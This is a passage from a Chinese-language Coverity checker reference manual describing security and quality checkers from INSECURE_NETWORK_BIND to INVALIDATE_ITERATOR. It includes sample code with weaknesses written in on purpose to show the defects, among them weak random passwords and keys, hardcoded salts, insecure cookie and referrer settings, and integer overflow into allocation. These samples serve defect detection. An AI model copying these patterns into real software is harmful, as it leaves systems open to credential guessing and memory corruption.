 - Go 代码中的以下任何地址：
 - `web.BConfig.Listen.HTTPAddr`
 - `web.BConfig.Listen.HTTPSAddr`
 - `web.BConfig.Listen.AdminAddr`

默认启用：INSECURE_NETWORK_BIND 检查器默认对 Go 启用。

4.183.1.2. Python

INSECURE_NETWORK_BIND 检查器查找由内置模块套接字创建并绑定到所有接口的连接，这意味着应用程序将接受来自提供的任何地址的连接。该检查器识别以下函数的 `host` 参数被设置为 `0.0.0.0`、`::` 或 `[::]`、空字符串 `" "` 或 `null` 的情况。

- `socket.bind((host, port))`
- `socket.create_server((host, port), ...)`

默认禁用：INSECURE_NETWORK_BIND 检查器默认对 Python 禁用。它通过 `--webapp-security` 选项启用。

4.183.2. 示例

本部分提供了一个或多个 INSECURE_NETWORK_BIND 示例。

4.183.2.1. Go

在下面的示例中，检测到 INSECURE_NETWORK_BIND 缺陷，其中 http.ListenAndServe(" :8080"， nil) 方法中的 addr 参数有一个仅端口值 :8080。

```
```
package main

import "net/http"

func main() {
 http.ListenAndServe(" :8080" , nil) //Defect here
}
```
```

4.183.2.2. Python

在下面的示例中，检测到 INSECURE_NETWORK_BIND 缺陷，其中 socket.bind((host, port)) 函数的 host 参数被设置为 0.0.0.0。

```
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 31137))    //Defect here
```

4.184. INSECURE_RANDOM

安全检查器

4.184.1. 概述

支持的语言：. C#、Java、JavaScript、Kotlin、Python、Visual Basic

INSECURE_RANDOM 可查找以下情况：使用弱加密伪随机数生成器 (PRNG) 生成不安全的随机值，然后将生成的这些随机值用于安全性取决于这些随机值的不可预测性的敏感上下文。否则，攻击者或许能够猜到以后生成的值，进而获取受限制的权限或敏感数据的访问权限。

- 默认禁用：此检查器默认对 C#、Java、JavaScript、Python 和 Visual Basic 禁用。要启用此检查器，请使用 cov-analyze 命令的 --enable 选项。要启用 INSECURE_RANDOM 与所有其他 Web 应用程序安全检查器，请使用 cov-analyze 的 --webapp-security 选项。
- 默认启用：此检查器默认对 Kotlin 启用。

4.184.2. 缺陷剖析

子类别为 `insecure_random_used` 的 `INSECURE_RANDOM` 缺陷说明了不安全的随机值在程序中传递并最终用于安全敏感上下文的数据流路径。第一个事件描述加密方式不安全的随机值来源。然后是跟踪程序内逐步传递过程的事件。最后一个事件显示被传递给敏感数据消费者的值。

子类别为 `insecure_random_value` 的 `INSECURE_RANDOM` 缺陷表明使用加密方式不安全的 PRNG 生成随机值的代码位置发生了事件。

4.184.3. 示例

本部分提供了一个或多个 `INSECURE_RANDOM` 示例。

4.184.3.1. C#

在此示例中，使用了加密方式不安全的 PRNG 生成随机值。然后，在安全敏感上下文中将此值用作网络凭证密码。

```
using System;

class InsecureRandom
{
    public void Test() {

        Random random = new Random();
        Byte[] bytes = new Byte[20];
        random.NextBytes(bytes);

        string s = System.Text.Encoding.UTF8.GetString(bytes, 0, bytes.Length);
        System.Net.NetworkCredential nc
            = new System.Net.NetworkCredential("userName", s); // Defect here.
    }
}
```

4.184.3.2. Java

在此示例中，使用了加密方式不安全的 PRNG 生成随机值。然后，在安全敏感上下文中将此值用作密码。

```
import java.net.PasswordAuthentication;
import java.util.Random;

public class InsecureRandom {

    public void test() throws Exception {

        Random ranGen = new Random();
        byte[] bytes = new byte[20];
        ranGen.nextBytes(bytes);
```

```
    PasswordAuthentication pa = new PasswordAuthentication("username", // Defect
here.
        new String(bytes).toCharArray());
    }
}
```

4.184.3.3. JavaScript

在此示例中，使用了加密方式不安全的 PRNG 生成随机值。然后在安全敏感上下文中将此值用作 HMAC 算法的键。

```
const crypto = require ('crypto');
let key = Math.random();

function unsafe_hmac(data) {
    let hash = crypto.createHmac('sha256', key); // Defect here

    hash.update(data);

    return hash.digest('base64');
}
```

4.184.3.4. Kotlin

在此示例中，使用了加密方式不安全的 PRNG 生成随机值。然后，在安全敏感上下文中将此值用作目录名称的前缀。

```
public class InsecureRandom {

    @Throws(Exception::class)
    fun test() {
        val intRange = IntRange(0, 100)
        val prefix = intRange.random().toString()

        createTempDir(prefix)
    }
}
```

4.184.3.5. Python

在此示例中，`random.random()` 用于通过 HMAC 生成不安全的消息 Hash。本示例使用不安全的密钥创建一个 `hash` 对象，并使用将要进行身份验证的数据对其进行更新。然后返回用于身份验证的代码。将报告针对 `hmac.new` 调用的缺陷。

```
import hmac
import hashlib
import random

key = random.random();
```

```
def unsafe_hmac(data):
    hmac_instance = hmac.new(key, '', hashlib.sha1)
    hmac_instance.update(data);
    return hmac_instance.hexdigest();
```

4.184.3.6. Visual Basic

在此示例中，生成了一个随机密码，并且由于 `NewPassword` 值不够随机而发出缺陷。

```
Public Class InsecureRandom

    ' Manage users and passwords
    Private userManager As Microsoft.AspNetCore.Identity.UserManager(Of MyUser)

    Private Function NewRandomPassword(user As MyUser, OldPassword As String) As String
        ' Generate a new random password
        Dim Random As Random = New Random()
        Dim bytes() As Byte = New Byte(8) {}
        random.NextBytes(bytes)
        Dim NewPassword As String = System.Text.Encoding.UTF8.GetString(bytes, 0,
bytes.Length)

        ' Update to new random password
        ' !!!! INSECURE_RANDOM checker reports a defect here, due to an insufficiently
random NewPassword value
        userManager.ChangePasswordAsync(user, OldPassword, NewPassword)

        Return NewPassword
    End Function

End Class
```

4.184.4. 选项

本部分描述了一个或多个 `INSECURE_RANDOM` 选项。

您可以设置特定检查器选项值，方法是使用 `cov-analyze` 命令的 `--checker-option` 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- `INSECURE_RANDOM:report_no_sink_errors:<boolean>` - 将此选项设置为 `true` 时，该检查器将针对使用加密方式不安全的 PRNG 生成随机值的所有实例报告缺陷。该检查器不考虑 PRNG 实例的使用方式。如果为 `false`，该检查器将仅在通过不安全方式生成的随机值被用于安全敏感上下文中时报告缺陷。默认值为 `INSECURE_RANDOM:report_no_sink_errors:false` 如果将 `cov-analyze` 命令的 `--webapp-security-aggressiveness-level` 选项设置为 `high`，则该检查器选项会自动设置为 `true`。

4.185. INSECURE_REFERRER_POLICY

安全检查器

4.185.1. 概述

支持的语言：. JavaScript、TypeScript、Python

INSECURE_REFERRER_POLICY 检查器查找 Referer-Policy HTTP 标头设置为以下任何值的情况，因为这可能会跨来源泄漏 Referrer 标头：

- origin 仅作为引荐方发送文档的来源。此策略导致 HTTPS 引荐方的来源作为未加密的 HTTP 请求的一部分通过网络发送。
- origin-when-cross-origin 在执行相同来源的请求时发送来源、路径和查询字符串，但仅在其他情况下发送文档的来源。此策略导致 HTTPS 引荐方的来源作为未加密的 HTTP 请求的一部分通过网络发送。
- 当执行任何请求时，无论连接的安全性如何，unsafe-url 都会发送来源、路径和查询字符串。此策略可能会将来源和路径从受 TLS 保护的资源泄漏到不安全的来源。
- 当协议安全级别保持不变（HTTP → HTTP、HTTPS → HTTPS）或者提高（HTTP → HTTPS）时，no-referrer-when-downgrade 会将 URL 的来源、路径和查询字符串作为引荐方发送，但不会发送到安全性较低的目的地（HTTPS → HTTP）。当从一个 HTTPS 页面向另一个来源上的另一个 HTTPS 页面发出请求时，此策略可能会泄漏信息并影响隐私。

INSECURE_REFERRER_POLICY 检查器默认禁用；它仅在审计模式下启用。

4.185.2. 示例

本部分提供了一个或多个 INSECURE_REFERRER_POLICY 示例。

4.185.2.1. Javascript

Referrer-Policy HTTP 标头在 JavaScript 中是通过 helmet 和 referrer-policy 库设置的。

在下面的示例中，针对 Referrer-Policy HTTP 标头的不安全配置显示 INSECURE_REFERRER_POLICY 缺陷，其中 unsafe-url 策略在 helmet.referrerPolicy() 函数中设置。

```
var express = require('express');
var app = express();
var helmet = require('helmet');

app.use(helmetreferrerPolicy({ policy: 'unsafe-url' }));
```

4.185.2.2. Python

对于 Django 应用程序，Referrer-Policy HTTP 头文件通过以下方式设置：

- Django 框架的 SECURE_REFERRER_POLICY 设置配置 Referrer-Policy。

- 由 `django.shortcuts.render()`、`django.http.HttpResponsePermanentRedirect()` 或 `django.http.HttpResponse()` 函数返回的响应对象的 `Referrer-Policy` 属性。
- `django.http.HttpResponse()` 函数的“headers”参数的 `Referrer-Policy` 属性。
- 使用 `django.http.HttpResponse.setdefault()` 函数设置的 `Referrer-Policy` 头文件。

在下面的示例中，当在 Django 配置中将 `SECURE_REFERRER_POLICY` 设置分配给 `unsafe-url` 时，将显示 `INSECURE_REFERRER_POLICY` 缺陷。

```
SECURE_REFERRER_POLICY = "unsafe-url" # defect here
```

4.186. INSECURE_REMEMBER_ME_COOKIE

安全检查器

4.186.1. 概述

支持的语言：. Java

`INSECURE_REMEMBER_ME_COOKIE` 检查器针对使用

`org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices` 或

`org.springframework.security.web.authentication.rememberme.PersistentTokenBasedRememberMeServices` 类的方法的 `RememberMe` cookie 查找不安全配置的若干情况。

- 在 `setUseSecureCookie` 方法中将 `useSecureCookie` 参数设置为 `false`。在此情况下，`RememberMe` cookie 允许通过不安全的 HTTP 协议发送。
- 在 `setCookieDomain` 方法中将 `cookieDomain` 参数设置为广域。在此情况下，`RememberMe` cookie 可能被不受信任的域访问。

`INSECURE_REMEMBER_ME_COOKIE` 检查器默认禁用。可以在审计模式下启用它。

4.186.2. 示例

本部分提供了一个或多个 `INSECURE_REMEMBER_ME_COOKIE` 示例。

在下面的示例中，如果通过将参数设置为 `false` 调用 `setUseSecureCookie` 方法，将显示 `INSECURE_REMEMBER_ME_COOKIE` 缺陷。

```
import org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices;
import org.springframework.security.core.userdetails.UserDetailsService;

class InsecureRememberMeCookie
{
    private UserDetailsService userDetailsService;
```

```

private final String REMEMBER_ME_KEY = "remember-me-key";

public TokenBasedRememberMeServices rememberMeServices1() {
    TokenBasedRememberMeServices rememberMeSrvc =
        new TokenBasedRememberMeServices(REMEMBER_ME_KEY,
userDetailsService);
    rememberMeSrvc.setUseSecureCookie(false); //defect here
    return rememberMeSrvc;
}
}

```

4.187. INSECURE_SALT

安全检查器

4.187.1. 概述

支持的语言：. JavaScript、Python

INSECURE_SALT 检查器查找不足够随机的 salt 值被用作 hash 函数的输入的情况。如果攻击者知道 salt 值，他们可以进行强力攻击来发现产生生成的 hash 函数的输出的输入。

默认禁用：INSECURE_SALT 默认禁用。要启用它，可以在 cov-analyze 命令中使用 --enable 选项。

Web 应用程序安全检查器启用：要启用 INSECURE_SALT 以及其他 Web 应用程序检查器，请使用 --webapp-security 选项。

4.187.2. 缺陷剖析

INSECURE_SALT 缺陷说明了硬编码 salt 在程序中传递并最终用于安全敏感上下文的数据流路径。第一个事件说明硬编码值。然后是跟踪程序内逐步传递过程的事件。最后一个事件显示被传递给敏感数据消费者的值。

4.187.3. 示例

本部分提供了一个或多个 INSECURE_SALT 示例。

4.187.3.1. JavaScript

在此示例中，创建了一个快速服务器，使用不安全的 salt hash 密码。

```

var bcrypt = require('bcrypt');
var express = require('express');

var app = express();

app.post('/signup', function (req, res) {
    const salt = 'salt_value';

```

```
bcrypt.hash(req.body.password, salt, function (err, hash) { // Defect here
    if (err) throw err;
    addUserToDatabase(req.body.username, hash, salt);
});
res.send('Account created');
});

app.listen(3000, function () {});
```

4.187.3.2. Python

在此示例中，使用不安全的 salt 将新用户添加到了具有 hash 密码的数据库中。在调用 `hashlib.pbkdf2_hmac("sha512", password, salt, 20000000, 20)` 时报告了 INSECURE_SALT 缺陷。

```
import hashlib
def addUser():
    username = request.form['username']
    password = request.form['password']
    salt = "salt"
    insecure_salt_hash = hashlib.pbkdf2_hmac("sha512", password, salt, 20000000, 20)
    addUserToDatabase(username, insecure_salt_hash, salt)
```

4.188. INSUFFICIENT_LOGGING

安全检查器

4.188.1. 概述

支持的语言： Go、JavaScript、Python、TypeScript

如果代码处理安全事件或错误条件但不正确记录事件，INSUFFICIENT_LOGGING 检查器会报告这些代码中的缺陷。记录重要安全事件便于早期检测到安全性事件，并鼓励对这些事件更好地回应。

例如，应该记录无效的加密签名。这可能是正在进行中的中间人攻击的证据。如果验证失败被处理但未记录，检查器将报告缺陷。

默认禁用：INSUFFICIENT_LOGGING 默认对 JavaScript、Python 和 TypeScript 禁用。要启用它，您可以在 cov-analyze 命令中使用 `--enable` 选项。

Web 应用程序安全检查器启用：要启用 INSUFFICIENT_LOGGING 以及其他 Web 应用程序检查器，请使用 `--webapp-security` 选项。

默认启用：INSUFFICIENT_LOGGING 默认对 Go 启用。

4.188.2. 示例

本部分提供了一个或多个 INSUFFICIENT_LOGGING 示例。

4.188.2.1. Go

以下 Go 示例代码显示了旨在验证证书的函数，该函数可能是安全敏感的操作。当分析或验证失败并出现错误时，该函数将不执行任何日志记录：

```
package example

import (
    "crypto/x509"
    "encoding/pem"
)

func verifyCertificate(certpem string) bool {
    var block, _ = pem.Decode([]byte(certpem))

    // Parsing the certificate may return an error
    cert, err := x509.ParseCertificate(block.Bytes)

    if(err != nil) {          // INSUFFICIENT_LOGGING defect
        return false
    }

    opts := x509.VerifyOptions{
        DNSName: "example.com",
    }

    // Verification may return an error
    _, err = cert.Verify(opts)

    if(err != nil) {          // INSUFFICIENT_LOGGING defect
        return false
    }

    return true
}
```

4.188.2.2. JavaScript 和 TypeScript

在下面的代码示例中，针对 `else` 子句报告缺陷。

```
const crypto = require('crypto');

function verifySignature(data, getSignatureSecurely, getPublicKeySecurely){
    const verify = crypto.createVerify('SHA256');
    verify.update(data)

    const signature = getSignatureSecurely();
    const publicKey = getPublicKeySecurely();
    if(verify.verify(publicKey, signature)){
        postSuccessfulVerification();
    }
    else{
```

```

    }
}
```

4.188.2.3. Python

在下面的示例中，在调用 `check_password_hash(pw_hash, pw)` 时报告 `INSUFFICIENT_LOGGING` 缺陷。

```

from flask import Flask
from flask.ext.bcrypt import Bcrypt

app = Flask(__name__)
myBcrypt = Bcrypt(app)

def handlePasswordHash(pw_hash, pw):
    if not myBcrypt.check_password_hash(pw_hash, pw):
        pass
    else:
        postPasswordCheck()
```

4.189. INSUFFICIENT_PRESIGNED_URL_TIMEOUT

安全检查器

4.189.1. 概述

支持的语言：. JavaScript、TypeScript

`INSUFFICIENT_PRESIGNED_URL_TIMEOUT` 查找 Google Cloud Storage 的 `getSignedURL` 方法使用的选项中的 `expires` 属性设置为硬编码字符串文字的情况，或者 AWS S3 的 `getSignedUrl` 和 `createPresignedPost` 方法使用的选项中的 `Expires` 属性设置为大于或等于 1 小时的值的情况；默认情况下，此属性设置为 15 分钟。

默认禁用：`INSUFFICIENT_PRESIGNED_URL_TIMEOUT` 默认禁用。要启用它，您可以在 `cov-analyze` 命令中使用 `--enable` 选项。

Web 应用程序安全检查器启用：要启用 `INSUFFICIENT_PRESIGNED_URL_TIMEOUT` 以及其他 Web 应用程序检查器，请使用 `--webapp-security` 选项。

4.189.2. 示例

本部分提供了一个或多个 `INSUFFICIENT_PRESIGNED_URL_TIMEOUT` 示例。

在下面的示例中，将 `Expires` 赋值为大于一小时的值显示了 `INSUFFICIENT_PRESIGNED_URL_TIMEOUT` 缺陷。

```

const AWS = require('aws-sdk');
var s3 = new AWS.S3();
```

```

var params = {
  Bucket: 'my-bucket',
  Key: 'my-object',
  ImageActions: '50p',
  Expires: 6000
};

var url = s3.getSignedUrl('getImage', params);

```

4.190. INTEGER_OVERFLOW

质量、安全检查器

4.190.1. 概述

支持的语言：. C、C++、Objective-C、Objective-C++

INTEGER_OVERFLOW 可查找算术运算导致整数溢出和截断的很多情况。某些形式的整数溢出可能导致安全漏洞，例如，当溢出值被用作分配函数的参数时。默认情况下，该检查器仅在其确定操作数是被污染的源，运算是加法或乘法以及运算的结果进入数据消费者时报告缺陷。数据消费者是内存分配器和某些系统调用。您可以使用检查器选项添加更多数据消费者。该检查器仅在数据源到数据消费者的路径中发生溢出时报告缺陷。默认情况下，数据源是指可被外部代理（例如攻击者）控制的程序变量，而数据消费者是指从安全角度看可信任的值（例如分配参数）。但是，有些检查器选项可放宽数据源和数据消费者标准，以便报告更多缺陷。

有关被污染的数据和数据消费者的详细信息，请参阅Section 6.2，“C/C++ 应用程序安全”。

为了使污染数据从 C 和 C++ 联合流向组件字段，您可以设置 cov-analyze 命令的 --inherit-taint-from-unions 选项。

默认禁用：INTEGER_OVERFLOW 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

Note

使用 cov-analyze 命令的 --all 选项无法启用 INTEGER_OVERFLOW 检查器。

这是被污染的数据检查器。有关更多信息，请参阅“Section 6.8，“被污染的数据概述””。

4.190.2. 示例

本部分提供了一个或多个 INTEGER_OVERFLOW 示例。

下面的示例存在整数溢出缺陷，因为整数 `y` 来自外部（因此可能已被污染）源。此值是乘法运算中的运算符（作为 `size`），然后被用于数据消费者（`mycell` 的分配器）。

```

#include <unistd.h>

#define INT_MAX 2147483647

```

```

class Cell {
public:
    int a;
    int *b;
};

void test(int x, int fd) {
    int y;
    read(fd, &y, 4); // y is from a tainted (outside) source
    int size = y;
    Cell *mycell;
    if (size != 0) {
        // Overflow results from operation size * sizeof(Cell)
        // Overflowed value is used in memory allocation
        mycell = new Cell[size]; // overflow and overflow_sink events
    }
}

```

4.190.3. 选项

本部分描述了一个或多个 INTEGER_OVERFLOW 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 --checker-option 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- INTEGER_OVERFLOW:enable_all_overflow_ops:<boolean> - 当此选项为 true 时，该检查器将报告有关减法、一元求反、递增和递减运算的缺陷。默认值为 INTEGER_OVERFLOW:enable_all_overflow_ops:false

如果将 cov-analyze 命令的 --aggressiveness-level 选项设置为 high，则该检查器选项会自动设置为 true。

- INTEGER_OVERFLOW:enable_array_sink:<boolean> - 当此选项为 true 时，该检查器会将所有数组索引运算视为数据消费者。默认值为 INTEGER_OVERFLOW:enable_all_overflow_ops:true
- INTEGER_OVERFLOW:enable_const_overflows:<boolean> - 当此选项为 true 时，该检查器将标记有关常量操作数（为常量或已知为特定路径中的具体常量值）的算术运算导致的溢出。有时，此类溢出是特意为之，但它们通常表示逻辑错误或错误的值。启用此选项后可标记以下运算符的溢出：加、减、乘、转换导致的截断、递增（++）和递减（--）。默认值为 INTEGER_OVERFLOW:enable_const_overflows:false
- INTEGER_OVERFLOW:enable_deref_sink:<boolean> - 当此选项为 true 时，该检查器会将解引用指针的运算视为数据消费者。默认值为 INTEGER_OVERFLOW:enable_deref_sink:false

如果将 cov-analyze 命令的 --aggressiveness-level 选项设置为 high，则该检查器选项会自动设置为 true。

- INTEGER_OVERFLOW:enable_tainted_params:<boolean> - 当此选项为 true 时，该检查器会将所有操作数视为可能已被污染。默认值为 INTEGER_OVERFLOW:enable_tainted_params:false

- INTEGER_OVERFLOW:enable_return_sink:<boolean> - 当此选项为 true 时，该检查器会将所有 return 语句视为数据消费者。默认值为 INTEGER_OVERFLOW:enable_return_sink:true
- INTEGER_OVERFLOW:trust_command_line:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将命令行参数视为被污染。默认值为 INTEGER_OVERFLOW:trust_command_line:false。设置此检查器选项会覆盖全局 --trust-command-line 和 --distrust-command-line cov-analyze 命令行选项。
- INTEGER_OVERFLOW:trust_console:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将来自控制台的数据视为被污染。默认值为 INTEGER_OVERFLOW:trust_console:false。设置此检查器选项会覆盖全局 --trust-console 和 --distrust-console cov-analyze 命令行选项。
- INTEGER_OVERFLOW:trust_cookie:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将来自 HTTP cookie 的数据视为被污染。默认值为 INTEGER_OVERFLOW:trust_cookie:false。设置此检查器选项会覆盖全局 --trust-cookie 和 --distrust-cookie cov-analyze 命令行选项。
- INTEGER_OVERFLOW:trust_database:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将来自数据库的数据视为被污染。默认值为 INTEGER_OVERFLOW:trust_database:false。设置此检查器选项会覆盖全局 --trust-database 和 --distrust-database cov-analyze 命令行选项。
- INTEGER_OVERFLOW:trust_environment:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将来自环境变量的数据视为被污染。默认值为 INTEGER_OVERFLOW:trust_environment:false。设置此检查器选项会覆盖全局 --trust-environment 和 --distrust-environment cov-analyze 命令行选项。
- INTEGER_OVERFLOW:trust_filesystem:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将来自文件系统的数据视为被污染。默认值为 INTEGER_OVERFLOW:trust_filesystem:false。设置此检查器选项会覆盖全局 --trust-filesystem 和 --distrust-filesystem cov-analyze 命令行选项。
- INTEGER_OVERFLOW:trust_http:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将来自 HTTP 请求的数据视为被污染。默认值为 INTEGER_OVERFLOW:trust_http:false。设置此检查器选项会覆盖全局 --trust-http 和 --distrust-http cov-analyze 命令行选项。
- INTEGER_OVERFLOW:trust_http_header:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将来自 HTTP 头文件的数据视为被污染。默认值为 INTEGER_OVERFLOW:trust_http_header:false。设置此检查器选项会覆盖全局 --trust-http-header 和 --distrust-http-header cov-analyze 命令行选项。
- INTEGER_OVERFLOW:trust_network:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将来自网络的数据视为被污染。默认值为 INTEGER_OVERFLOW:trust_network:false。设置此检查器选项会覆盖全局 --trust-network 和 --distrust-network cov-analyze 命令行选项。
- INTEGER_OVERFLOW:trust_rpc:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将来自 RPC 请求的数据视为被污染。默认值为 INTEGER_OVERFLOW:trust_rpc:false。设置此检查器选项会覆盖全局 --trust-rpc 和 --distrust-rpc cov-analyze 命令行选项。
- INTEGER_OVERFLOW:trust_system_properties:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将来自系统属性的数据视为被污染。默认值为

INTEGER_OVERFLOW:trust_system_properties:false。设置此检查器选项会覆盖全局 --trust-system-properties 和 --distrust-system-properties cov-analyze 命令行选项。

 **重要事项！**

启用这些选项（尤其是 enable_tainted_params）会大幅增加分析时间（30-50%）。

4.190.4. 模型

您可以使用 __coverity_mark_pointee_as_tainted__ 和 __coverity_taint_sink__ 建模原语为其他被污染的 C/C++ 数据源和数据消费者建模。ALLOCATION 数据消费者类型与此检查器相关。

4.190.5. 事件

本部分描述了 INTEGER_OVERFLOW 检查器生成的一个或多个事件。

- overflow - 由算术运算导致整数溢出。一个或多个操作数来自被污染的数据源。
- truncation - 将较大的位宽值隐式转换为较小的位宽值导致整数截断。一个或多个操作数来自被污染的数据源。
- overflow_assign - 将溢出或被截断的整数赋值给另一个变量。
- overflow_const - 对某路径中的常量值的算术运算导致溢出。
- overflow_sink - 将溢出或被截断的整数用在了数据消费者中。
- truncate_const - 将常量值转换为尺寸更小的数据类型（在结果值中损失了更高的高位比特）导致截断。

4.191. INVALIDATE_ITERATOR

质量检查器

4.191.1. 概述

支持的语言：. C++、Java

INVALIDATE_ITERATOR 查找很多使用无效 iterator（由于构成 iterator 基础的集合已被修改）的情况。使用无效的 iterator 可能导致未定义行为（例如崩溃或数据损坏），或者可能抛出异常，具体取决于使用的 API、语言、编译器等。

默认启用：INVALIDATE_ITERATOR 默认启用。有关启用/禁用详情和选项，请参阅 Section 1.2，“启用和禁用检查器”。

4.191.1.1. C++

对于 C++，INVALIDATE_ITERATOR 检查器可查找很多使用无效（任何适用）或越界（递增或解引用）的 STL iterator 的情况。iterator 在被传递给 STL 容器的 erase 方法后就被视为已失效。可能可以在某些平台上使用无效或越界的 iterator，但并不保证一定可行。这些缺陷更有可能导致未定义行为，包括崩溃。

该检查器默认可识别以下容器：

```
vector
list
map
multimap
set
multiset
hash_map
hash_multimap
hash_set
hash_multiset
basic_string
```

如果变量的类型与 `end()` 任何重载的返回类型相同，则该检查器会将该变量视为 iterator。

`INVALIDATE_ITERATOR` 分析如果错误地推断 iterator 超过 STL 容器的边界或者错误地推断 iterator 被不当使用，则会产生误报。在上述任一情况下，抑制此类误报的唯一方法就是使用代码行注解。

4.191.1.2. Java

对于 Java，此检查器按以下顺序发现事件（对类 `Iterator` 无效）：

1. 从集合中获取 iterator。
2. 该集合被修改（不使用 `Iterator.remove`）。
3. 使用了 iterator。

此应用场景还包括 iterator 是通过增强的 `for` 循环隐式创建的情况。

4.191.2. 示例

本部分提供了一个或多个 `INVALIDATE_ITERATOR` 示例。

4.191.2.1. C++

```
void wrong_erase(list<int> &l, int v) {
    list<int>::iterator i = l.begin();
    for(; i != l.end(); ++i) { /* Defect: "i" is incremented
                                after invalidation
                                by a call to "erase" */
        if(*i == v)
            l.erase(i);
    }
}
```

```
int deref_end(list<int> &l) {
    list<int>::iterator i = l.end();
    int x = *i;           // Defect: dereferencing past-the-end
}
```

4.191.2.1.1. 可行的解决方案

从 STL 列表或集中清除多个项的手段之一是使用以下方法：

```
void correct_erase(list<int> &l, int v) {
    list<int>::iterator i = l.begin();
    while(i != l.end()) {
        if(*i == v)
            l.erase(i++);      // OK: Post-increment increments old value
                                // and invalidates temporary
        else
            ++i;
    }
}
```

从 STL 向量中清除多个项的手段之一是使用以下方法：

```
void correct_erase(vector<int> &c, int v) {
    // wi = "write" iterator
    // ri = "read" iterator
    vector<int>::iterator ri = c.begin();
    // Skip kept values at the beginning
    while(ri != c.end() && *ri != v)
        ++ri;
    if(ri == c.end())
        return;
    vector<int>::iterator wi = ri;
    // Skip first erased value
    ++ri;
    while(ri != c.end()) {
        if(*ri != v) {
            // Keep => write at wi
            *wi++ = *ri;
        } // else skip
        ++ri;
    }
    c.erase(wi, c.end());
}

struct is_equal_to: public unary_function<int, bool> {
    int const v;
    is_equal_to(int v):v(v){}
    bool operator()(int x) const {
        return x == v;
    }
};
```

```
void correct_erase2(vector<int> &c, int v) {
    c.erase(remove_if(c.begin(), c.end(), is_equal_to(v)), c.end());
}
```

4.191.2.2. Java

在下面的示例中，返回了 `familyListeners.keySet()` 中的 iterator `families`。然后，对 `familyListeners.put()` 的调用改变了可迭代项 `familyListeners`（导致 `families` 失效）。最后，将无效的 iterator `families` 用于了对 `java.util.Iterator.hasNext()` 的调用。

```
1 Iterator families = familyListeners.keySet().iterator();
2 while (families.hasNext()) {
3     Object next = families.next();
4     Collection currentListeners = (Collection) familyListeners.get(next);
5     if (currentListeners.contains(listener))
6         currentListeners.remove(listener);
7     if (currentListeners.isEmpty())
8         keysToRemove.add(next);
9     else
10        familyListeners.put(next, currentListeners);
11 }
12 //Remove any empty listeners
13 Iterator keysIterator = keysToRemove.iterator();
14 while (keysIterator.hasNext()) {
15     familyListeners.remove(keysIterator.next());
16 }
```

下面是编写上述示例的正确方法：

```
Iterator families = familyListeners.entrySet().iterator();
while (families.hasNext()) {
    Map.Entry entry = families.next();
    Collection currentListeners = (Collection) entry.getValue();
    if (currentListeners.contains(listener))
        currentListeners.remove(listener);
    if (currentListeners.isEmpty())
        families.remove();
    else
        entry.setValue(currentListeners);
}
```

在下面的示例中，`i` 旨在指明当前元素的索引。但是，如果元素被移除，它会开始指向下一个元素。

```
for (Map<String, Object> itemObj : listAddItem) {
    AddItemCall addItemCall = (AddItemCall) itemObj.get("addItemCall");
    ItemType item = addItemCall.getItem();
    String SKU = item.getSKU();
    if (UtilValidate.isNotEmpty(requestParams.get("productId"))) {
        String productId = requestParams.get("productId").toString();
        if (productId.equals(SKU)) {
            listAddItem.remove(i);
```

```

    }
}
i++;
}

```

4.191.3. 选项

本部分描述了一个或多个 `INVALIDATE_ITERATOR` 选项。

您可以设置特定检查器选项值，方法是使用 `cov-analyze` 命令的 `--checker-option` 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- `INVALIDATE_ITERATOR:container_type:<regular_expression>` - 此 C++ 选项可添加到该检查器可识别的容器列表中。默认值未设置。

此选项的参数是正则表达式。如果以下两个条件都为 `true`，该检查器会将类视为容器：

- 类名称与正则表达式完全匹配。
- 类具有 `end()` 函数。

要指定多个类型作为容器，请改为使用正则表达式，例如：

```
-co INVALIDATE_ITERATOR:container_type:myVector|myArray
```

确保通过您的命令解释器转义管道。如果您多次指定 `container_type` 选项，则只会使用最后一个值。将此选项与 `MISMATCHED_ITERATOR` 检查器的单独 `container_type` 选项进行比较。

- `INVALIDATE_ITERATOR:report_map_put:<boolean>` - 如果此 Java 选项被设置为 `true`，该检查器将报告有关 `Map.put` 的缺陷。默认情况下，该检查器会将 `Map.put` 视为无法修改集合。默认值为 `INVALIDATE_ITERATOR:report_map_put:false`

4.191.4. 事件

本部分描述了 `INVALIDATE_ITERATOR` 检查器生成的一个或多个事件。

- `deref_iterator` - [仅限 C++] 通过 `erase` 或 `end` 方法的结果的显式赋值解引用 `iterator`。此事件会在 Coverity 确定无效 `iterator` 被解引用时报告缺陷。
- `erase_iterator` - [仅限 C++] `iterator` 被传递给 STL 容器的 `erase` 方法。
- `mutate_collection` - [仅限 Java] 表明方法改变了集合，因此导致其 `iterator` 失效。
- `increment_iterator` - [仅限 C++] 无效 `iterator` 递增。
- `past_the_end` - [仅限 C++] `iterator` 被赋予 STL 容器的 `end` 方法的结果。从 `end` 返回的 `iterator` 绝不应解引用或递增。如果该检查器错误地报告了此赋值，请使用代码行注解抑制此事件。
- `return_collection_alias` - [仅限 Java] 表明方法返回了是另一个集合别名的集合（例如 `Map.keySet`）。

示例：

```
return_collection_alias : Call to java.util.Map.keySet()
                           Iterable equivalent to familyListeners .
```

- `return_iterator` - [仅限 Java] 表明方法从集合中返回了 iterator。

示例：

```
return_iterator : Call to java.util.Set.iterator() returns an
                           iterator from familyListeners.keySet() .
```

- `use_iterator` - [C++] Iterator 使用由于调用 `erase` 而失效。如果该检查器发现日后使用 iterator 的情况并且认为调用 `erase` 导致此类使用失效，它会通过此事件报告缺陷。

`use_iterator` - [Java] 表明方法使用了可能无效的 iterator。

4.192. JAVA_CODE_INJECTION

安全检查器

